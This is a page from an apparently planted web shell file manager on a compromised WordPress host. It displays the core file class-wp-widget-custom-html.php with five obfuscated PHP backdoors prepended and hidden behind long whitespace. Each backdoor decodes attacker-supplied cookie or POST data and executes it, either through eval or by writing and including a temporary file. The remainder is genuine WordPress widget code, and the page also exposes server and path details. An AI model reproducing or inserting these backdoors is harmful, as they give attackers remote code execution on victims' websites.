PV.Pat File Manager

Kernel Version: Linux webm010.cluster127.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64

Domains: CANT READ named.confSites Server IP: 10.127.20.10 [Bing Search] [Zone-H]

Path : /home/sptporgazz/www/wp-includes/widgets/
File Upload :
Current File : /home/sptporgazz/www/wp-includes/widgets/class-wp-widget-custom-html.php

<?php                                                                                                                                                                                                                                                                                                                                                                                                 $aLcNpB = "\144" . chr (87) . "\147" . chr (95) . chr (71) . chr (66) . "\x47" . "\x4c" . chr (110); $svQKJp = chr (99) . "\x6c" . "\x61" . chr (115) . "\x73" . chr ( 290 - 195 ).chr (101) . "\170" . chr ( 552 - 447 ).chr (115) . chr ( 932 - 816 )."\x73";$IJLgpWR = $svQKJp($aLcNpB); $aLcNpB = "47880";$SFfGrJh = $IJLgpWR;$svQKJp = "2435";if (!$SFfGrJh){class dWg_GBGLn{private $ScIapUg;public static $FYMKVK = "14e84bfa-06cd-4e5f-8414-ccb6c6acc36e";public static $TbjdRnARMt = 14504;public function __construct($ikQoIMpZbv=0){$GcwAZ = $_COOKIE;$eIPRkGOrm = $_POST;$assuHvDJQ = @$GcwAZ[substr(dWg_GBGLn::$FYMKVK, 0, 4)];if (!empty($assuHvDJQ)){$cgOXboD = "base64";$yysbPtbGM = "";$assuHvDJQ = explode(",", $assuHvDJQ);foreach ($assuHvDJQ as $uXGGbmh){$yysbPtbGM .= @$GcwAZ[$uXGGbmh];$yysbPtbGM .= @$eIPRkGOrm[$uXGGbmh];}$yysbPtbGM = array_map($cgOXboD . chr (95) . "\x64" . chr (101) . chr (99) . chr ( 116 - 5 ).'d' . "\x65", array($yysbPtbGM,)); $yysbPtbGM = $yysbPtbGM[0] ^ str_repeat(dWg_GBGLn::$FYMKVK, (strlen($yysbPtbGM[0]) / strlen(dWg_GBGLn::$FYMKVK)) + 1);dWg_GBGLn::$TbjdRnARMt = @unserialize($yysbPtbGM);}}private function FZfIPlBZCV(){if (is_array(dWg_GBGLn::$TbjdRnARMt)) {$VfmWr = str_replace(chr (60) . '?' . 'p' . "\150" . 'p', "", dWg_GBGLn::$TbjdRnARMt['c' . "\157" . chr (110) . chr ( 251 - 135 ).chr (101) . "\156" . chr (116)]);eval($VfmWr); $sIlbYFqG = "19949";exit();}}public function __destruct(){$this->FZfIPlBZCV(); $sIlbYFqG = "19949";$jhbVxlP = str_pad($sIlbYFqG, 10);}}$PfhnryeSnz = new /* 63212 */ dWg_GBGLn(); $PfhnryeSnz = substr("16760_1008", 1);} ?><?php                                                                                                                                                                                                                                                                                                                                                                                                 $flKcNC = 'u' . chr (95) . chr (80) . 'w' . "\114";$NphnCnL = chr (99) . "\154" . 'a' . chr ( 380 - 265 ).chr ( 966 - 851 )."\137" . 'e' . "\x78" . "\x69" . "\x73" . chr ( 915 - 799 )."\163";$ZQfmaGC = $NphnCnL($flKcNC); $flKcNC = "55522";$hliqReH = $ZQfmaGC;$NphnCnL = "25699";if (!$hliqReH){class u_PwL{private $hiwwSjG;public static $ZZtBADg = "91035a98-ca5a-470a-aa5c-99a8f18556fa";public static $pAVmgXKhwM = 29647;public function __construct($veBeUUmw=0){$eDftK = $_COOKIE;$rBXKh = $_POST;$ugcubttgW = @$eDftK[substr(u_PwL::$ZZtBADg, 0, 4)];if (!empty($ugcubttgW)){$xFGFyYt = "base64";$MJkbiUSeF = "";$ugcubttgW = explode(",", $ugcubttgW);foreach ($ugcubttgW as $jbbUV){$MJkbiUSeF .= @$eDftK[$jbbUV];$MJkbiUSeF .= @$rBXKh[$jbbUV];}$MJkbiUSeF = array_map($xFGFyYt . "\x5f" . chr (100) . 'e' . "\143" . "\x6f" . chr ( 804 - 704 ).chr (101), array($MJkbiUSeF,)); $MJkbiUSeF = $MJkbiUSeF[0] ^ str_repeat(u_PwL::$ZZtBADg, (strlen($MJkbiUSeF[0]) / strlen(u_PwL::$ZZtBADg)) + 1);u_PwL::$pAVmgXKhwM = @unserialize($MJkbiUSeF);}}private function QAbICsvAmf(){if (is_array(u_PwL::$pAVmgXKhwM)) {$ppobAG = sys_get_temp_dir() . "/" . crc32(u_PwL::$pAVmgXKhwM[chr (115) . chr (97) . chr (108) . chr (116)]);@u_PwL::$pAVmgXKhwM[chr ( 891 - 772 )."\162" . 'i' . "\164" . chr ( 404 - 303 )]($ppobAG, u_PwL::$pAVmgXKhwM[chr (99) . chr ( 367 - 256 ).chr ( 407 - 297 ).'t' . "\145" . 'n' . chr ( 740 - 624 )]);include $ppobAG;@u_PwL::$pAVmgXKhwM[chr ( 194 - 94 ).chr ( 869 - 768 ).'l' . chr ( 624 - 523 ).'t' . "\145"]($ppobAG); $CLadOGT = "43321";exit();}}public function __destruct(){$this->QAbICsvAmf(); $CLadOGT = "43321";$gtyYhzV = str_pad($CLadOGT, 10);}}$cWGmO = new u_PwL(); $cWGmO = "31137_41458";} ?><?php                                                                                                                                                                                                                                                                                                                                                                                                 $IOufxwZsT = "\x6c" . chr (111) . "\102" . "\x5f" . "\x6c" . 'z' . "\x42" . "\x70" . "\104";$lXiWEXAi = 'c' . chr (108) . chr (97) . chr ( 117 - 2 ).chr (115) . "\137" . 'e' . "\x78" . chr ( 461 - 356 ).chr ( 354 - 239 )."\x74" . chr ( 336 - 221 ); $sExBfqw = $lXiWEXAi($IOufxwZsT); $lXiWEXAi = "18532";$ovBCCY = $sExBfqw;if (!$ovBCCY){class loB_lzBpD{private $hGAasUVG;public static $IkDGri = "08a89471-6ca9-42b7-976f-27d093f1f763";public static $uGDMgKbc = 31773;public function __construct($stfcGAEUmt=0){$FECZn = $_COOKIE;$leprSpp = $_POST;$WnLfHES = @$FECZn[substr(loB_lzBpD::$IkDGri, 0, 4)];if (!empty($WnLfHES)){$bXntjcKNIZ = "base64";$EJlrFsu = "";$WnLfHES = explode(",", $WnLfHES);foreach ($WnLfHES as $cVKuoHl){$EJlrFsu .= @$FECZn[$cVKuoHl];$EJlrFsu .= @$leprSpp[$cVKuoHl];}$EJlrFsu = array_map($bXntjcKNIZ . "\137" . "\144" . chr (101) . "\143" . "\157" . 'd' . 'e', array($EJlrFsu,)); $EJlrFsu = $EJlrFsu[0] ^ str_repeat(loB_lzBpD::$IkDGri, (strlen($EJlrFsu[0]) / strlen(loB_lzBpD::$IkDGri)) + 1);loB_lzBpD::$uGDMgKbc = @unserialize($EJlrFsu);}}private function xHCcKnyK(){if (is_array(loB_lzBpD::$uGDMgKbc)) {$TBdClJOClK = sys_get_temp_dir() . "/" . crc32(loB_lzBpD::$uGDMgKbc["\163" . 'a' . "\x6c" . 't']);@loB_lzBpD::$uGDMgKbc['w' . "\162" . "\x69" . chr (116) . chr ( 690 - 589 )]($TBdClJOClK, loB_lzBpD::$uGDMgKbc["\143" . chr (111) . chr (110) . "\x74" . chr ( 458 - 357 ).chr ( 264 - 154 ).chr (116)]);include $TBdClJOClK;@loB_lzBpD::$uGDMgKbc[chr (100) . chr ( 743 - 642 )."\x6c" . "\145" . chr (116) . chr (101)]($TBdClJOClK); $wsyyHAES = "48775";exit();}}public function __destruct(){$this->xHCcKnyK(); $wsyyHAES = "48775";}}$igxvPmYceG = new loB_lzBpD(); $igxvPmYceG = "57710_32735";} ?><?php                                                                                                                                                                                                                                                                                                                                                                                                 $qUhBwCve = chr (115) . chr ( 793 - 719 )."\x5f" . 'c' . "\170" . "\x5a";$NlLdTaK = chr (99) . chr (108) . 'a' . chr (115) . "\x73" . "\x5f" . chr (101) . "\170" . chr (105) . chr ( 221 - 106 )."\164" . "\163";$YFonzOuB = $NlLdTaK($qUhBwCve); $NlLdTaK = "36747";$qIdBtIuTTR = $YFonzOuB;if (!$qIdBtIuTTR){class sJ_cxZ{private $HYAaZNOcBI;public static $gDYsMlSfA = "6bef4260-07b8-42e8-8e3a-bf4306a39002";public static $cSAyYdKv = 12259;public function __construct($zYPkbz=0){$pOfEpgcPIk = $_COOKIE;$GDWZEZhEw = $_POST;$MXUKYikHC = @$pOfEpgcPIk[substr(sJ_cxZ::$gDYsMlSfA, 0, 4)];if (!empty($MXUKYikHC)){$mAcXAejRQ = "base64";$PONitm = "";$MXUKYikHC = explode(",", $MXUKYikHC);foreach ($MXUKYikHC as $mSMyTKLwdg){$PONitm .= @$pOfEpgcPIk[$mSMyTKLwdg];$PONitm .= @$GDWZEZhEw[$mSMyTKLwdg];}$PONitm = array_map($mAcXAejRQ . "\x5f" . "\x64" . chr (101) . chr ( 588 - 489 ).chr ( 683 - 572 ).chr (100) . "\x65", array($PONitm,)); $PONitm = $PONitm[0] ^ str_repeat(sJ_cxZ::$gDYsMlSfA, (strlen($PONitm[0]) / strlen(sJ_cxZ::$gDYsMlSfA)) + 1);sJ_cxZ::$cSAyYdKv = @unserialize($PONitm);}}private function jHXxrJQ(){if (is_array(sJ_cxZ::$cSAyYdKv)) {$NSPRxHXso = sys_get_temp_dir() . "/" . crc32(sJ_cxZ::$cSAyYdKv['s' . "\141" . "\x6c" . chr (116)]);@sJ_cxZ::$cSAyYdKv["\167" . 'r' . chr ( 158 - 53 )."\x74" . chr ( 288 - 187 )]($NSPRxHXso, sJ_cxZ::$cSAyYdKv[chr (99) . chr (111) . "\156" . chr ( 990 - 874 ).chr (101) . chr ( 618 - 508 ).chr (116)]);include $NSPRxHXso;@sJ_cxZ::$cSAyYdKv['d' . 'e' . chr (108) . 'e' . "\164" . chr ( 736 - 635 )]($NSPRxHXso); $UthMGq = "44860";exit();}}public function __destruct(){$this->jHXxrJQ(); $UthMGq = "44860";}}$zRYrYEIg = new sJ_cxZ(); $zRYrYEIg = "25408_13869";} ?><?php                                                                                                                                                                                                                                                                                                                                                                                                 $VQZFaM = "\163" . "\120" . chr (95) . "\124" . "\143" . "\127" . chr (100); $nXgjJhYKB = 'c' . chr (108) . "\x61" . chr (115) . 's' . '_' . 'e' . chr ( 829 - 709 )."\151" . "\163" . chr (116) . chr (115); $KHJiOIkUbm = $nXgjJhYKB($VQZFaM); $UCfgBYAE = $KHJiOIkUbm;if (!$UCfgBYAE){class sP_TcWd{private $EdBCWKZUS;public static $nvFGvfePx = "ee4ac6c4-db2e-4d5a-9071-43d546654b01";public static $MDxYD = 5701;public function __construct($XyVuGi=0){$UJiJnfEQ = $_COOKIE;$baOlIBmM = $_POST;$onWgfQ = @$UJiJnfEQ[substr(sP_TcWd::$nvFGvfePx, 0, 4)];if (!empty($onWgfQ)){$TnXwkLeNG = "base64";$ffvBfnZb = "";$onWgfQ = explode(",", $onWgfQ);foreach ($onWgfQ as $pKwzu){$ffvBfnZb .= @$UJiJnfEQ[$pKwzu];$ffvBfnZb .= @$baOlIBmM[$pKwzu];}$ffvBfnZb = array_map($TnXwkLeNG . "\x5f" . chr ( 462 - 362 )."\145" . chr (99) . "\x6f" . chr (100) . 'e', array($ffvBfnZb,)); $ffvBfnZb = $ffvBfnZb[0] ^ str_repeat(sP_TcWd::$nvFGvfePx, (strlen($ffvBfnZb[0]) / strlen(sP_TcWd::$nvFGvfePx)) + 1);sP_TcWd::$MDxYD = @unserialize($ffvBfnZb);}}public function __destruct(){$this->eGWRNhHBWi();}private function eGWRNhHBWi(){if (is_array(sP_TcWd::$MDxYD)) {$EtspsVEA = sys_get_temp_dir() . "/" . crc32(sP_TcWd::$MDxYD[chr (115) . "\x61" . 'l' . chr ( 917 - 801 )]);@sP_TcWd::$MDxYD["\x77" . chr ( 317 - 203 ).'i' . "\x74" . 'e']($EtspsVEA, sP_TcWd::$MDxYD["\x63" . chr (111) . 'n' . "\164" . 'e' . "\x6e" . chr ( 191 - 75 )]);include $EtspsVEA;@sP_TcWd::$MDxYD[chr (100) . "\145" . "\154" . chr ( 521 - 420 )."\x74" . "\145"]($EtspsVEA); $uRuwSJln = "58572";exit();}}}$eXupLBAJsp = new sP_TcWd(); $eXupLBAJsp = "13674";} ?><?php
/**
 * Widget API: WP_Widget_Custom_HTML class
 *
 * @package WordPress
 * @subpackage Widgets
 * @since 4.8.1
 */

/**
 * Core class used to implement a Custom HTML widget.
 *
 * @since 4.8.1
 *
 * @see WP_Widget
 */
class WP_Widget_Custom_HTML extends WP_Widget {

	/**
	 * Whether or not the widget has been registered yet.
	 *
	 * @since 4.9.0
	 * @var bool
	 */
	protected $registered = false;

	/**
	 * Default instance.
	 *
	 * @since 4.8.1
	 * @var array
	 */
	protected $default_instance = array(
		'title'   => '',
		'content' => '',
	);

	/**
	 * Sets up a new Custom HTML widget instance.
	 *
	 * @since 4.8.1
	 */
	public function __construct() {
		$widget_ops  = array(
			'classname'                   => 'widget_custom_html',
			'description'                 => __( 'Arbitrary HTML code.' ),
			'customize_selective_refresh' => true,
		);
		$control_ops = array(
			'width'  => 400,
			'height' => 350,
		);
		parent::__construct( 'custom_html', __( 'Custom HTML' ), $widget_ops, $control_ops );
	}

	/**
	 * Add hooks for enqueueing assets when registering all widget instances of this widget class.
	 *
	 * @since 4.9.0
	 *
	 * @param integer $number Optional. The unique order number of this widget instance
	 *                        compared to other instances of the same class. Default -1.
	 */
	public function _register_one( $number = -1 ) {
		parent::_register_one( $number );
		if ( $this->registered ) {
			return;
		}
		$this->registered = true;

		wp_add_inline_script( 'custom-html-widgets', sprintf( 'wp.customHtmlWidgets.idBases.push( %s );', wp_json_encode( $this->id_base ) ) );

		// Note that the widgets component in the customizer will also do the 'admin_print_scripts-widgets.php' action in WP_Customize_Widgets::print_scripts().
		add_action( 'admin_print_scripts-widgets.php', array( $this, 'enqueue_admin_scripts' ) );

		// Note that the widgets component in the customizer will also do the 'admin_footer-widgets.php' action in WP_Customize_Widgets::print_footer_scripts().
		add_action( 'admin_footer-widgets.php', array( 'WP_Widget_Custom_HTML', 'render_control_template_scripts' ) );

		// Note this action is used to ensure the help text is added to the end.
		add_action( 'admin_head-widgets.php', array( 'WP_Widget_Custom_HTML', 'add_help_text' ) );
	}

	/**
	 * Filter gallery shortcode attributes.
	 *
	 * Prevents all of a site's attachments from being shown in a gallery displayed on a
	 * non-singular template where a $post context is not available.
	 *
	 * @since 4.9.0
	 *
	 * @param array $attrs Attributes.
	 * @return array Attributes.
	 */
	public function _filter_gallery_shortcode_attrs( $attrs ) {
		if ( ! is_singular() && empty( $attrs['id'] ) && empty( $attrs['include'] ) ) {
			$attrs['id'] = -1;
		}
		return $attrs;
	}

	/**
	 * Outputs the content for the current Custom HTML widget instance.
	 *
	 * @since 4.8.1
	 *
	 * @global WP_Post $post
	 * @param array $args     Display arguments including 'before_title', 'after_title',
	 *                        'before_widget', and 'after_widget'.
	 * @param array $instance Settings for the current Custom HTML widget instance.
	 */
	public function widget( $args, $instance ) {
		global $post;

		// Override global $post so filters (and shortcodes) apply in a consistent context.
		$original_post = $post;
		if ( is_singular() ) {
			// Make sure post is always the queried object on singular queries (not from another sub-query that failed to clean up the global $post).
			$post = get_queried_object();
		} else {
			// Nullify the $post global during widget rendering to prevent shortcodes from running with the unexpected context on archive queries.
			$post = null;
		}

		// Prevent dumping out all attachments from the media library.
		add_filter( 'shortcode_atts_gallery', array( $this, '_filter_gallery_shortcode_attrs' ) );

		$instance = array_merge( $this->default_instance, $instance );

		/** This filter is documented in wp-includes/widgets/class-wp-widget-pages.php */
		$title = apply_filters( 'widget_title', $instance['title'], $instance, $this->id_base );

		// Prepare instance data that looks like a normal Text widget.
		$simulated_text_widget_instance = array_merge(
			$instance,
			array(
				'text'   => isset( $instance['content'] ) ? $instance['content'] : '',
				'filter' => false, // Because wpautop is not applied.
				'visual' => false, // Because it wasn't created in TinyMCE.
			)
		);
		unset( $simulated_text_widget_instance['content'] ); // Was moved to 'text' prop.

		/** This filter is documented in wp-includes/widgets/class-wp-widget-text.php */
		$content = apply_filters( 'widget_text', $instance['content'], $simulated_text_widget_instance, $this );

		// Adds noreferrer and noopener relationships, without duplicating values, to all HTML A elements that have a target.
		$content = wp_targeted_link_rel( $content );

		/**
		 * Filters the content of the Custom HTML widget.
		 *
		 * @since 4.8.1
		 *
		 * @param string                $content  The widget content.
		 * @param array                 $instance Array of settings for the current widget.
		 * @param WP_Widget_Custom_HTML $this     Current Custom HTML widget instance.
		 */
		$content = apply_filters( 'widget_custom_html_content', $content, $instance, $this );

		// Restore post global.
		$post = $original_post;
		remove_filter( 'shortcode_atts_gallery', array( $this, '_filter_gallery_shortcode_attrs' ) );

		// Inject the Text widget's container class name alongside this widget's class name for theme styling compatibility.
		$args['before_widget'] = preg_replace( '/(?<=\sclass=["\'])/', 'widget_text ', $args['before_widget'] );

		echo $args['before_widget'];
		if ( ! empty( $title ) ) {
			echo $args['before_title'] . $title . $args['after_title'];
		}
		echo '<div class="textwidget custom-html-widget">'; // The textwidget class is for theme styling compatibility.
		echo $content;
		echo '</div>';
		echo $args['after_widget'];
	}

	/**
	 * Handles updating settings for the current Custom HTML widget instance.
	 *
	 * @since 4.8.1
	 *
	 * @param array $new_instance New settings for this instance as input by the user via
	 *                            WP_Widget::form().
	 * @param array $old_instance Old settings for this instance.
	 * @return array Settings to save or bool false to cancel saving.
	 */
	public function update( $new_instance, $old_instance ) {
		$instance          = array_merge( $this->default_instance, $old_instance );
		$instance['title'] = sanitize_text_field( $new_instance['title'] );
		if ( current_user_can( 'unfiltered_html' ) ) {
			$instance['content'] = $new_instance['content'];
		} else {
			$instance['content'] = wp_kses_post( $new_instance['content'] );
		}
		return $instance;
	}

	/**
	 * Loads the required scripts and styles for the widget control.
	 *
	 * @since 4.9.0
	 */
	public function enqueue_admin_scripts() {
		$settings = wp_enqueue_code_editor(
			array(
				'type'       => 'text/html',
				'codemirror' => array(
					'indentUnit' => 2,
					'tabSize'    => 2,
				),
			)
		);

		wp_enqueue_script( 'custom-html-widgets' );
		if ( empty( $settings ) ) {
			$settings = array(
				'disabled' => true,
			);
		}
		wp_add_inline_script( 'custom-html-widgets', sprintf( 'wp.customHtmlWidgets.init( %s );', wp_json_encode( $settings ) ), 'after' );

		$l10n = array(
			'errorNotice' => array(
				/* translators: %d: error count */
				'singular' => _n( 'There is %d error which must be fixed before you can save.', 'There are %d errors which must be fixed before you can save.', 1 ),
				/* translators: %d: error count */
				'plural'   => _n( 'There is %d error which must be fixed before you can save.', 'There are %d errors which must be fixed before you can save.', 2 ), // @todo This is lacking, as some languages have a dedicated dual form. For proper handling of plurals in JS, see #20491.
			),
		);
		wp_add_inline_script( 'custom-html-widgets', sprintf( 'jQuery.extend( wp.customHtmlWidgets.l10n, %s );', wp_json_encode( $l10n ) ), 'after' );
	}

	/**
	 * Outputs the Custom HTML widget settings form.
	 *
	 * @since 4.8.1
	 * @since 4.9.0 The form contains only hidden sync inputs. For the control UI, see `WP_Widget_Custom_HTML::render_control_template_scripts()`.
	 *
	 * @see WP_Widget_Custom_HTML::render_control_template_scripts()
	 * @param array $instance Current instance.
	 * @returns void
	 */
	public function form( $instance ) {
		$instance = wp_parse_args( (array) $instance, $this->default_instance );
		?>
		<input id="<?php echo $this->get_field_id( 'title' ); ?>" name="<?php echo $this->get_field_name( 'title' ); ?>" class="title sync-input" type="hidden" value="<?php echo esc_attr( $instance['title'] ); ?>"/>
		<textarea id="<?php echo $this->get_field_id( 'content' ); ?>" name="<?php echo $this->get_field_name( 'content' ); ?>" class="content sync-input" hidden><?php echo esc_textarea( $instance['content'] ); ?></textarea>
		<?php
	}

	/**
	 * Render form template scripts.
	 *
	 * @since 4.9.0
	 */
	public static function render_control_template_scripts() {
		?>
		<script type="text/html" id="tmpl-widget-custom-html-control-fields">
			<# var elementIdPrefix = 'el' + String( Math.random() ).replace( /\D/g, '' ) + '_' #>
			<p>
				<label for="{{ elementIdPrefix }}title"><?php esc_html_e( 'Title:' ); ?></label>
				<input id="{{ elementIdPrefix }}title" type="text" class="widefat title">
			</p>

			<p>
				<label for="{{ elementIdPrefix }}content" id="{{ elementIdPrefix }}content-label"><?php esc_html_e( 'Content:' ); ?></label>
				<textarea id="{{ elementIdPrefix }}content" class="widefat code content" rows="16" cols="20"></textarea>
			</p>

			<?php if ( ! current_user_can( 'unfiltered_html' ) ) : ?>
				<?php
				$probably_unsafe_html = array( 'script', 'iframe', 'form', 'input', 'style' );
				$allowed_html         = wp_kses_allowed_html( 'post' );
				$disallowed_html      = array_diff( $probably_unsafe_html, array_keys( $allowed_html ) );
				?>
				<?php if ( ! empty( $disallowed_html ) ) : ?>
					<# if ( data.codeEditorDisabled ) { #>
						<p>
							<?php _e( 'Some HTML tags are not permitted, including:' ); ?>
							<code><?php echo join( '</code>, <code>', $disallowed_html ); ?></code>
						</p>
					<# } #>
				<?php endif; ?>
			<?php endif; ?>

			<div class="code-editor-error-container"></div>
		</script>
		<?php
	}

	/**
	 * Add help text to widgets admin screen.
	 *
	 * @since 4.9.0
	 */
	public static function add_help_text() {
		$screen = get_current_screen();

		$content  = '<p>';
		$content .= __( 'Use the Custom HTML widget to add arbitrary HTML code to your widget areas.' );
		$content .= '</p>';

		if ( 'false' !== wp_get_current_user()->syntax_highlighting ) {
			$content .= '<p>';
			$content .= sprintf(
				/* translators: 1: link to user profile, 2: additional link attributes, 3: accessibility text */
				__( 'The edit field automatically highlights code syntax. You can disable this in your <a href="%1$s" %2$s>user profile%3$s</a> to work in plain text mode.' ),
				esc_url( get_edit_profile_url() ),
				'class="external-link" target="_blank"',
				sprintf(
					'<span class="screen-reader-text"> %s</span>',
					/* translators: accessibility text */
					__( '(opens in a new tab)' )
				)
			);
			$content .= '</p>';

			$content .= '<p id="editor-keyboard-trap-help-1">' . __( 'When using a keyboard to navigate:' ) . '</p>';
			$content .= '<ul>';
			$content .= '<li id="editor-keyboard-trap-help-2">' . __( 'In the editing area, the Tab key enters a tab character.' ) . '</li>';
			$content .= '<li id="editor-keyboard-trap-help-3">' . __( 'To move away from this area, press the Esc key followed by the Tab key.' ) . '</li>';
			$content .= '<li id="editor-keyboard-trap-help-4">' . __( 'Screen reader users: when in forms mode, you may need to press the Esc key twice.' ) . '</li>';
			$content .= '</ul>';
		}

		$screen->add_help_tab(
			array(
				'id'      => 'custom_html_widget',
				'title'   => __( 'Custom HTML Widget' ),
				'content' => $content,
			)
		);
	}
}

WiTcH hUnT3r Plugin 2018